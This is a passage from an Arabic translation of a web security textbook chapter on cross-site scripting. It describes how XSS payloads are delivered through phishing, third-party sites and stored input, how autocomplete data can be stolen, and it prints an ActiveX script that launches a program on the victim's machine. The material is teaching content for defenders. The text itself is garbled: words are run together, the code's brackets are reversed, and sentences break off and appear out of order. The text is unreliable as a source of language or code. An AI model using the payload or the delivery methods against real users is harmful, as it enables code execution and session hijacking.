ﺩﻭﺩﺓ MySpace XSSﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً ﻫﻲ ﻣﺜﺎﻝ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ .ﺗﻮﺿﺢ ﻫﺬﻩ
ﺍﻟﺪﻭﺩﺓﻗﺪﺭﺓ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻗﺎﻋﺪﺓ
ﻣﺴﺘﺨﺪﻣﻴﻦﺿﺨﻤﺔ ﺑﺄﻗﻞ ﺟﻬﺪ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﻤﻬﺎﺟﻢ .ﺍﺳﺘﺨﺪﻡ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺳﻠﺴﻠﺔ ﻣﻌﻘﺪﺓ ﻣﻦ
ﺍﻟﻄﻠﺒﺎﺕﺑﺎﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺎﺕ ) Ajaxﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ ﺍﻟﻔﺼﻞ (3ﻟﺘﻨﻔﻴﺬ ﺍﻹﺟﺮﺍءﺍﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﻼﺯﻣﺔ
ﻻﻧﺘﺸﺎﺭﺍﻟﺪﻭﺩﺓ.
ﻳﻤﻜﻦﻟﻠﻤﻬﺎﺟﻢ ،ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻑ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ ﺑﺸﻜﻞ ﺃﺳﺎﺳﻲ ،ﻭﺍﻟﺬﻱ ﻳﺮﻏﺐ ﻓﻲ ﺍﻟﺘﺨﻔﻲ ﻗﺪﺭ
ﺍﻹﻣﻜﺎﻥ،ﺍﺳﺘﻐﻼﻝ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺣﻤﻮﻟﺔ ﻫﺠﻮﻡ XSSﻟﺪﻓﻊ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﻫﺠﻤﺎﺕ
ﺧﺒﻴﺜﺔﻣﻦ ﺍﺧﺘﻴﺎﺭﻩ ﺿﺪ ﺍﻟﺘﻄﺒﻴﻖ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺃﻥ ﻳﺪﻓﻊ ﻣﺴﺘﺨﺪﻣﺎً ﺁﺧﺮ ﺇﻟﻰ
ﺍﺳﺘﻐﻼﻝﺛﻐﺮﺓ ﺣﻘﻦ SQLﻹﺿﺎﻓﺔ ﻣﺴﺆﻭﻝ ﺟﺪﻳﺪ ﺇﻟﻰ ﺟﺪﻭﻝ ﺣﺴﺎﺑﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺩﺍﺧﻞ ﻗﺎﻋﺪﺓ
ﺍﻟﺒﻴﺎﻧﺎﺕ.ﺳﻴﺘﺤﻜﻢ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲ ﺍﻟﺤﺴﺎﺏ ﺍﻟﺠﺪﻳﺪ ،ﻭﻟﻜﻦ ﺃﻱ ﻓﺤﺺ ﻟﺴﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺪ ﻳﻈُﻬﺮ ﺃﻥ
ﻣﺴﺘﺨﺪﻣﺎًﺁﺧﺮ ﻫﻮ ﺍﻟﻤﺴﺆﻭﻝ.
ﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺴﺘﺨﺪﻡ ﻧﻤﺎﺫﺝ ﻣﻔُﻌﻠّﺔ ﺍﻹﻛﻤﺎﻝ ﺍﻟﺘﻠﻘﺎﺉﻲ ،ﻓﻴﻤﻜﻦ ﻟﺠﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﻤﺼُﺪﺭ -
ﻣﻦﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﻘﺎﻁ ﺃﻱ ﺑﻴﺎﻧﺎﺕ ﻣﺪُﺧﻠﺔ ﻣﺴُﺒﻘﺎً ﺧﺰﻧّﻬﺎ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺫﺍﻛﺮﺓ ﺍﻟﺘﺨﺰﻳﻦ
ﺍﻟﻤﺆﻗﺖﻟﻺﻛﻤﺎﻝ ﺍﻟﺘﻠﻘﺎﺉﻲ .ﻣﻦ ﺧﻼﻝ ﺇﻧﺸﺎء ﻧﻤﻮﺫﺝ ﻣﻄُﺎﺑﻖ ،ﻭﺍﻧﺘﻈﺎﺭ ﺍﻟﻤﺘﺼﻔﺢ ﻹﻛﻤﺎﻝ
ﻣﺤﺘﻮﻳﺎﺗﻪﺗﻠﻘﺎﺉﻴﺎً ،ﺛﻢ ﺍﻻﺳﺘﻌﻼﻡ ﻋﻦ ﻗﻴﻢ ﺣﻘﻮﻝ ﺍﻟﻨﻤﻮﺫﺝ ،ﻗﺪ ﻳﺘﻤﻜﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﻦ
ﺳﺮﻗﺔﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﻧﻘﻠﻬﺎ ﺇﻟﻰ ﺧﺎﺩﻡ ﺍﻟﻤﻬُﺎﺟﻢ .ﻳﻤُﻜﻦ ﺃﻥ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺃﻗﻮﻯ ﻣﻦ ﺣﻘﻦ
ﻭﻇﺎﺉﻒﺃﺣﺼﻨﺔ ﻃﺮﻭﺍﺩﺓ ،ﺇﺫ ﻳﻤُﻜﻦ ﺍﻟﺘﻘﺎﻁ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺤﺴﺎﺳﺔ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺃﻱ ﺗﺪﺧﻞ
ﻣﻦﺍﻟﻤﺴﺘﺨﺪﻡ.
ﺗﻮﺻﻲﺑﻌﺾ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ،ﺃﻭ ﺗﻄﻠﺐ ﻣﻨﻬﻢ ،ﺇﺿﺎﻓﺔ ﺍﺳﻢ ﻧﻄﺎﻗﻬﻢ ﺇﻟﻰ -
ﻣﻨﻄﻘﺔ"ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻮﺛﻮﻗﺔ" ﻓﻲ ﻣﺘﺼﻔﺤﺎﺗﻬﻢ .ﻫﺬﺍ ﺃﻣﺮ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻪ ﻓﻲ ﺃﻏﻠﺐ ﺍﻷﺣﻴﺎﻥ،
ﻭﻳﻌﻨﻲﺇﻣﻜﺎﻧﻴﺔ ﺍﺳﺘﻐﻼﻝ ﺃﻱ ﺧﻠﻞ ﻣﻦ ﻧﻮﻉ XSSﻟﺘﻨﻔﻴﺬ ﻫﺠﻤﺎﺕ.
447 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺗﻨﻔﻴﺬﺗﻌﻠﻴﻤﺎﺕ ﺑﺮﻣﺠﻴﺔ ﻋﺸﻮﺍﺉﻴﺔ ﻋﻠﻰ ﺟﻬﺎﺯ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ
ﻛﺎﻥﻣﻮﻗﻊ ﻳﻌﻤﻞ ﺿﻤﻦ ﻣﻨﻄﻘﺔ "ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻮﺛﻮﻗﺔ" ﻓﻲ ﻣﺘﺼﻔﺢ ،Internet Explorer
ﻓﺈﻥﺇﺩﺧﺎﻝ ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﺎﻟﻴﺔ ﻳﺆﺩﻱ ﺇﻟﻰ ﺗﺸﻐﻴﻞ ﺑﺮﻧﺎﻣﺞ ﺣﺎﺳﺒﺔ Windowsﻋﻠﻰ
ﺟﻬﺎﺯﺍﻟﻤﺴﺘﺨﺪﻡ:
>ﺍﻟﻨﺺ<
;('var o = new ActiveXObject)'WScript.shell'(; o.Run)'calc.exe
<>/script
ﻏﺎﻟﺒﺎًﻣﺎ ﺗﺴﺘﺨﺪﻡ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﻋﻨﺎﺻﺮ ﺗﺤﻜﻢ ActiveXﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﺳﺎﻟﻴﺐ ﻓﻌﺎّﻟﺔ )ﺍﻧﻈﺮ -
ﺍﻟﻔﺼﻞ .(13ﺗﺴﻌﻰ ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺇﻟﻰ ﻣﻨﻊ ﺇﺳﺎءﺓ ﺍﻻﺳﺘﺨﺪﺍﻡ ﻣﻦ ﻗﺒِﻞ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ
ﻣﻦﺧﻼﻝ ﺍﻟﺘﺤﻘﻖ ﺩﺍﺧﻞ ﻋﻨﺼﺮ ﺍﻟﺘﺤﻜﻢ ﻧﻔﺴﻪ ﻣﻦ ﺃﻥ ﺻﻔﺤﺔ ﺍﻟﻮﻳﺐ ﺍﻟﻤﺴُﺘﺪﻋﺎﺓ ﺻﺎﺩﺭﺓ ﻣﻦ
ﺍﻟﻤﻮﻗﻊﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺼﺤﻴﺢ .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﺳﺎءﺓ ﺍﺳﺘﺨﺪﺍﻡ ﻋﻨﺼﺮ
ﺍﻟﺘﺤﻜﻢﻋﺒﺮ ﻫﺠﻮﻡ ،XSSﻷﻥ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺴُﺘﺪﻋﻰ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﻳﻠُﺒﻲ ﻣﺘﻄﻠﺒﺎﺕ ﻓﺤﺺ ﺍﻟﺜﻘﺔ
ﺍﻟﻤﻄُﺒﻘّﺔﺩﺍﺧﻞ ﻋﻨﺼﺮ ﺍﻟﺘﺤﻜﻢ.
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
"ﺗﺆﺛﺮ ﻋﻤﻠﻴﺎﺕ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﻭ XSSﻓﻘﻂ ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻤﻮﺟﻮﺩﺓ ﻋﻠﻰ ﺷﺒﻜﺔ ﺍﻹﻧﺘﺮﻧﺖ ﺍﻟﻌﺎﻣﺔ".
ﻳﻤﻜﻦﺃﻥ ﺗﺆﺛﺮ ﺛﻐﺮﺍﺕ XSSﻋﻠﻰ ﺃﻱ ﻧﻮﻉ ﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ،ﻭﻳﻤﻜﻦ ﻟﻬﺠﻮﻡ ﻋﻠﻰ ﺗﻄﺒﻴﻖ
ﻗﺎﺉﻢﻋﻠﻰ ﺍﻟﺸﺒﻜﺔ ﺍﻟﺪﺍﺧﻠﻴﺔ ،ﻋﺒﺮ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺟﻤﺎﻋﻲ ،ﺃﻥ ﻳﺴﺘﻐﻞ ﻧﻮﻋﻴﻦ ﻣﻦ ﺍﻟﺜﻘﺔ .ﺃﻭﻻً،
ﺍﻟﺜﻘﺔﺍﻻﺟﺘﻤﺎﻋﻴﺔ ﺍﻟﺘﻲ ﺗﺴﺘﻐﻠﻬﺎ ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺪﺍﺧﻠﻴﺔ ﺑﻴﻦ ﺍﻟﺰﻣﻼء .ﺛﺎﻧﻴﺎً ،ﻏﺎﻟﺒﺎً ﻣﺎ
ﺗﺜﻖﻣﺘﺼﻔﺤﺎﺕ ﺍﻟﻀﺤﺎﻳﺎ ﺑﺨﻮﺍﺩﻡ ﺍﻟﻮﻳﺐ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﺸﺮﻛﺎﺕ ﺃﻛﺜﺮ ﻣﻦ ﺛﻘﺘﻬﺎ ﺑﺘﻠﻚ ﺍﻟﻤﻮﺟﻮﺩﺓ ﻋﻠﻰ
ﺍﻹﻧﺘﺮﻧﺖﺍﻟﻌﺎﻡ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻓﻲ ﻣﺘﺼﻔﺢ ،Internet Explorerﺇﺫﺍ ﻛﺎﻥ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ
ﺟﺰءﺍًﻣﻦ ﻧﻄﺎﻕ ﺷﺮﻛﺔ ،ﻓﺈﻥ ﺍﻟﻤﺘﺼﻔﺢ ﻳﻀُﺒﻂ ﺍﻓﺘﺮﺍﺿﻴﺎً ﻋﻠﻰ ﻣﺴﺘﻮﻯ ﺃﻣﺎﻥ ﺃﻗﻞ ﻋﻨﺪ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ
ﺗﻄﺒﻴﻘﺎﺕﺍﻟﺸﺒﻜﺔ ﺍﻟﺪﺍﺧﻠﻴﺔ.
ﻣﺴﺘﺨﺪﻣﻲﺍﻟﺘﻄﺒﻴﻖ .ﺳﺒﻖ ﺃﻥ ﻧﺎﻗﺸﻨﺎ ﻋﺪﺓ ﻃﺮﻕ ﻟﺘﺤﻘﻴﻖ ﺫﻟﻚ .ﻓﻲ ﺍﻟﻮﺍﻗﻊ ،ﺗﺘﻮﻓﺮ ﻟﻠﻤﻬﺎﺟﻤﻴﻦ
ﺁﻟﻴﺎﺕﺇﻳﺼﺎﻝ ﺃﺧﺮﻯ ﻋﺪﻳﺪﺓ.
ﻓﻲﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴُﺘﻬﺪﻑ ،ﻗﺪ ﻳﺮُﺳﻞ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻣﺰُﻭﺭّ ﺇﻟﻰ ﻣﺴﺘﺨﺪﻡ ﻣﺴُﺘﻬﺪﻑ ﻭﺍﺣﺪ ﺃﻭ -
ﻋﺪﺩﻗﻠﻴﻞ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ ﻳﺮُﺳﻞ ﺇﻟﻰ ﻣﺴﺆﻭﻝ ﺗﻄﺒﻴﻖ ﺑﺮﻳﺪ
ﺇﻟﻜﺘﺮﻭﻧﻲﻳﺒﺪﻭ ﺃﻧﻪ ﺻﺎﺩﺭ ﻋﻦ ﻣﺴﺘﺨﺪﻡ ﻣﻌﺮﻭﻑ ،ﻳﺸﻜﻮ ﻓﻴﻪ ﻣﻦ ﺃﻥ ﻋﻨﻮﺍﻥ URLﻣﺤُﺪﺩﺍً
ﻳﺴُﺒﺐﺧﻄﺄ ً.ﻋﻨﺪﻣﺎ ﻳﺮُﻳﺪ ﺍﻟﻤﻬُﺎﺟﻢ ﺍﺧﺘﺮﺍﻕ ﺟﻠﺴﺔ ﻣﺴﺘﺨﺪﻡ ﻣﺤُﺪﺩ )ﺑﺪﻻ ًﻣﻦ ﺟﻤﻊ ﺑﻴﺎﻧﺎﺕ
ﻣﺴﺘﺨﺪﻣﻴﻦﻋﺸﻮﺍﺉﻴﻴﻦ( ،ﻏﺎﻟﺒﺎً ﻣﺎ ﻳﻜﻮﻥ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴُﺘﻬﺪﻑ ﺍﻟﻤﺴُﺘﻨﻴﺮ ﻭﺍﻟﻤﻘُﻨﻊ ﻫﻮ ﺁﻟﻴﺔ
ﺍﻟﺘﻨﻔﻴﺬﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ .ﻳﺸُﺎﺭ ﺇﻟﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺃﺣﻴﺎﻧﺎً ﺑﺎﺳﻢ "ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ
ﺍﻟﻤﻮُﺟﻪ".
ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺤﺘﻮﻯ ﻭﺍﻟﺮﻣﻮﺯ ﻋﻠﻰ ﻣﻮﺍﻗﻊ ﺍﻟﻄﺮﻑ ﺍﻟﺜﺎﻟﺚ ﻹﻧﺸﺎء ﻃﻠﺒﺎﺕ ﺗﺆُﺩﻱ ﺇﻟﻰ -
ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ ،ﻗﺪ ﻳﻨُﺸﺊ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻮﻗﻌﻪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﺹ ﺍﻟﺬﻱ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ
ﺷﻴﻖﻟﺤﺚ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻋﻠﻰ ﺯﻳﺎﺭﺗﻪ .ﻛﻤﺎ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ ﻳﺪﻓﻊ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﺇﻟﻰﺇﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺣﻤﻮﻻﺕ XSSﺇﻟﻰ ﺗﻄﺒﻴﻖ ﻣﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ .ﺇﺫﺍ ﺳﺠﻞّ
ﻣﺴﺘﺨﺪﻡﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ ،ﻭﺗﺼﻔﺢ ﻣﻮﻗﻊ ﺍﻟﻤﻬﺎﺟﻢ ،ﻓﺴﻴﺘﻢ ﺍﺧﺘﺮﺍﻕ
ﺟﻠﺴﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻊ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺨﻄﺮ.
ﺑﻌﺪﺇﻧﺸﺎء ﻣﻮﻗﻊ ﻭﻳﺐ ﻣﻨﺎﺳﺐ ،ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺗﻘﻨﻴﺎﺕ ﺍﻟﺘﻼﻋﺐ ﺑﻤﺤﺮﻛﺎﺕ ﺍﻟﺒﺤﺚ
ﻟﺘﻮﻟﻴﺪﺯﻳﺎﺭﺍﺕ ﻣﻦ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻣﻨﺎﺳﺒﻴﻦ ،ﻣﺜﻞ ﻭﺿﻊ ﻛﻠﻤﺎﺕ ﻣﻔﺘﺎﺣﻴﺔ ﺫﺍﺕ ﺻﻠﺔ ﺿﻤﻦ
ﻣﺤﺘﻮﻯﺍﻟﻤﻮﻗﻊ ﻭﺭﺑﻄﻪ ﺑﻌﺒﺎﺭﺍﺕ ﻣﻨﺎﺳﺒﺔ .ﻣﻊ ﺫﻟﻚ ،ﻻ ﻋﻼﻗﺔ ﻵﻟﻴﺔ ﺍﻟﺘﻮﺻﻴﻞ ﻫﺬﻩ ﺑﺎﻟﺘﺼﻴﺪ
ﺍﻻﺣﺘﻴﺎﻟﻲ.ﻻ ﻳﺤﺎﻭﻝ ﻣﻮﻗﻊ ﺍﻟﻤﻬﺎﺟﻢ ﺍﻧﺘﺤﺎﻝ ﻫﻮﻳﺔ ﺍﻟﻤﻮﻗﻊ ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻓﻪ.
ﻻﺣﻆﺃﻥ ﺁﻟﻴﺔ ﺍﻟﺘﺴﻠﻴﻢ ﻫﺬﻩ ﻳﻤﻜﻨﻬﺎ ﺗﻤﻜﻴﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺳﺘﻐﻼﻝ ﻧﻘﺎﻁ ﺿﻌﻒ XSS
ﺍﻟﻤﻨﻌﻜﺴﺔﻭﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ DOMﻭﺍﻟﺘﻲ ﻻ ﻳﻤﻜﻦ ﺗﺸﻐﻴﻠﻬﺎ ﺇﻻ ﻣﻦ ﺧﻼﻝﺑﺮﻳﺪ
ﻣﻊﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ،ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﺃﻧﻪ ﻻ ﻳﻮﺟﺪ ﺭﺍﺑﻂ URLﺑﺴﻴﻂ ﻳﻤﻜﻦ ﺇﺭﺳﺎﻟﻪ ﺇﻟﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﺍﻟﻀﺤﻴﺔﻟﺸﻦ ﻫﺠﻮﻡ .ﻭﻣﻊ ﺫﻟﻚ ،ﻓﺈﻥ ﻫﺠﻮﻣﺎً ﺧﺒﻴﺜﺎً
449 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻓﻲﺗﻨﻮﻳﻌﺔ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﻣﻮﺍﻗﻊ ﺍﻟﻄﺮﻑ ﺍﻟﺜﺎﻟﺚ ،ﻣﻦ ﺍﻟﻤﻌﺮﻭﻑ ﺃﻥ ﺑﻌﺾ ﺍﻟﻤﻬﺎﺟﻤﻴﻦ -
ﺗﻄُﺒﻖّﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﻭﻇﻴﻔﺔ "ﺇﺑﻼﻍ ﺻﺪﻳﻖ" ﺃﻭ ﺇﺭﺳﺎﻝ ﻣﻼﺣﻈﺎﺕ ﺇﻟﻰ ﻣﺴﺆﻭﻟﻲ -
ﺍﻟﻤﻮﻗﻊ.ﺗﻤُﻜﻦّ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻏﺎﻟﺒﺎً ﻣﻦ ﺇﻧﺸﺎء ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﻤﺤﺘﻮﻯ ﻋﺸﻮﺍﺉﻲ
ﻭﻣﺴﺘﻠﻤﻴﻦﻋﺸﻮﺍﺉﻴﻴﻦ .ﻗﺪ ﻳﺴﺘﻐﻞ ّﺍﻟﻤﻬﺎﺟﻢ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﻟﺸﻦ ّﻫﺠﻮﻡ XSSﻋﺒﺮ ﺑﺮﻳﺪ
ﺇﻟﻜﺘﺮﻭﻧﻲﺻﺎﺩﺭ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻣﻦ ﺧﺎﺩﻡ ﺍﻟﻤﺆﺳﺴﺔ .ﻫﺬﺍ ﻳﺰﻳﺪ ﻣﻦ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻗﺒﻮﻟﻪ ،ﺣﺘﻰ ﻣﻦ ﻗﺒِﻞ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺫﻭﻱ ﺍﻟﺨﺒﺮﺓ ﺍﻟﺘﻘﻨﻴﺔ ﻭﺑﺮﺍﻣﺞ ﻣﻜﺎﻓﺤﺔ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻀﺎﺭﺓ.
ﺗﻘﺪﻳﻢﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ
ﻫﻨﺎﻙﻧﻮﻋﺎﻥ ﻣﻦ ﺁﻟﻴﺎﺕ ﺍﻟﺘﺴﻠﻴﻢ ﻟﻬﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ ﻫﻤﺎ ﺩﺍﺧﻞ ﺍﻟﻨﻄﺎﻕ ﻭﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ.
ﻳﻄُﺒﻖَّﺍﻟﺘﺴﻠﻴﻢ ﺩﺍﺧﻞ ﺍﻟﻨﻄﺎﻕ ﻓﻲ ﻣﻌﻈﻢ ﺍﻟﺤﺎﻻﺕ ،ﻭﻳﺴُﺘﺨﺪﻡ ﻋﻨﺪ ﺗﺰﻭﻳﺪ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﻟﺒﻴﺎﻧﺎﺕ
ﺍﻟﻤﻌُﺮﺿَّﺔﻟﻠﺜﻐﺮﺓ ﻋﺒﺮ ﻭﺍﺟﻬﺔ ﺍﻟﻮﻳﺐ ﺍﻟﺮﺉﻴﺴﻴﺔ .ﺗﺸﻤﻞ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺸﺎﺉﻌﺔ ﺍﻟﺘﻲ ﻗﺪ ﺗﻌُﺮﺽَ ﻓﻴﻬﺎ
ﺍﻟﺒﻴﺎﻧﺎﺕﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﻣﺎ ﻳﻠﻲ:
ﺣﻘﻮﻝﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺸﺨﺼﻴﺔ -ﺍﻻﺳﻢ ﻭﺍﻟﻌﻨﻮﺍﻥ ﻭﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻭﺍﻟﻬﺎﺗﻒ ﻭﻣﺎ ﺷﺎﺑﻪ ﺫﻟﻚ -
ﺍﻟﺮﺳﺎﺉﻞﻭﺗﺤﺪﻳﺜﺎﺕ ﺍﻟﺤﺎﻟﺔ ﻭﺍﻟﺘﻌﻠﻴﻘﺎﺕ ﻭﺍﻷﺳﺉﻠﺔ ﻭﻣﺎ ﺷﺎﺑﻪ ﺫﻟﻚ ﻟﻤﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ -
ﺍﻵﺧﺮﻳﻦ
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 450
ﺃﻱﺷﻲء ﻳﺘﻢ ﺗﺴﺠﻴﻠﻪ ﻓﻲ ﺳﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﻋﺮﺿﻪ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ ،ﻣﺜﻞ -
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ ،ﻳﺘﻢ ﺗﺴﻠﻴﻢ ﺍﻟﺤﻤﻮﻟﺔ XSSﺑﺒﺴﺎﻃﺔ ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻟﻬﺎ ﺇﻟﻰ ﺍﻟﺼﻔﺤﺔ ﺫﺍﺕ
ﺍﻟﺼﻠﺔﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺛﻢ ﺍﻧﺘﻈﺎﺭ ﺍﻟﻀﺤﺎﻳﺎ ﻟﻌﺮﺽ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻀﺎﺭﺓ.
